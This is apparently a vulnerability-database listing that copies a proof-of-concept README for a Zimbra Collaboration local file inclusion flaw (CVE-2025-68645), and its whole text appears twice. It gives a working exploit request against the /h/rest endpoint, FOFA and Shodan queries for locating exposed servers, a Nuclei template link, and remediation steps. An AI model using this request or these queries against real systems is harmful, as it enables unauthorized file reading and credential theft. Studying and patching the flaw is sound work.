8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Description
This is a proof of concept exploiting a local file inclusion vulnerability existing in the Webmail Classic UI of Zimbra Collaboration ZCS versions 10.0 and 10.1. The issue is due to improper handling of user-supplied request parameters in the...
Basic Information
ID
PACKETSTORM:213358
Published
Jan 2, 2026 at 00:00
Affected Product
Affected Versions
# zimbramail-CVE-2025-68645-poc
A proof-of-concept exploiting a Local File Inclusion (LFI) vulnerability existing in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet.
# Vulnerability
The vulnerability exists due to improper input validation in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
- User-controlled parameters are not correctly sanitized.
- Internal request routing can be manipulated.
- Arbitrary files under the WebRoot directory may be included in server responses.
# Affected Versions
- Zimbra versions 10.0.x prior to 10.0.18
- Zimbra versions 10.1.x prior to 10.1.13
# Poc (by sirifu4k1)
```
http://127.0.0.1/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml
```
# Automation
Nuclei-Template:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68645.yaml
# Into the wild
FOFA:
```
((title="Zimbra Web Client Sign In") || (title="Zimbra 网络客户端登录"))
```
SHODAN:
```
http.title:"Zimbra Web Client Sign In"
```
# Impact
An unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
- Read sensitive files (configs, environment data)
- Leak credentials or internal paths
- Gather intelligence for further exploitation
- Chain with other vulnerabilities for deeper compromise
Vector 3.x
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
/ Base Score 3.x
8.80
/ Severity 3.x
HIGH
# Remediation & Mitigation
Update to the latest version of Zimbra Collaboration.
- ZCS 10.0.18
- ZCS 10.1.13 and later
Recommended Actions :
1. Upgrade immediately to a patched version
2. Disable Classic UI if not required
3. Monitor logs for suspicious access to `/h/rest`
4. Restrict public access to Zimbra web endpoints where possible
5. Review WebRoot permissions and exposed files
# References
https://nvd.nist.gov/vuln/detail/CVE-2025-68645
https://wiki.zimbra.com/wiki/Security_Center
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
https://x.com/sirifu4k1/status/2006031417088639064
# Disclaimer
This tool is for authorized security testing only. Unauthorized access to computer systems is illegal.
A proof-of-concept exploiting a Local File Inclusion (LFI) vulnerability existing in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper handling of user-supplied request parameters in the RestFilter servlet.
# Vulnerability
The vulnerability exists due to improper input validation in the RestFilter servlet. An unauthenticated remote attacker can craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
- User-controlled parameters are not correctly sanitized.
- Internal request routing can be manipulated.
- Arbitrary files under the WebRoot directory may be included in server responses.
# Affected Versions
- Zimbra versions 10.0.x prior to 10.0.18
- Zimbra versions 10.1.x prior to 10.1.13
# Poc (by sirifu4k1)
```
http://127.0.0.1/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml
```
# Automation
Nuclei-Template:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68645.yaml
# Into the wild
FOFA:
```
((title="Zimbra Web Client Sign In") || (title="Zimbra 网络客户端登录"))
```
SHODAN:
```
http.title:"Zimbra Web Client Sign In"
```
# Impact
An unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
- Read sensitive files (configs, environment data)
- Leak credentials or internal paths
- Gather intelligence for further exploitation
- Chain with other vulnerabilities for deeper compromise
Vector 3.x
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
/ Base Score 3.x
8.80
/ Severity 3.x
HIGH
# Remediation & Mitigation
Update to the latest version of Zimbra Collaboration.
- ZCS 10.0.18
- ZCS 10.1.13 and later
Recommended Actions :
1. Upgrade immediately to a patched version
2. Disable Classic UI if not required
3. Monitor logs for suspicious access to `/h/rest`
4. Restrict public access to Zimbra web endpoints where possible
5. Review WebRoot permissions and exposed files
# References
https://nvd.nist.gov/vuln/detail/CVE-2025-68645
https://wiki.zimbra.com/wiki/Security_Center
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
https://x.com/sirifu4k1/status/2006031417088639064
# Disclaimer
This tool is for authorized security testing only. Unauthorized access to computer systems is illegal.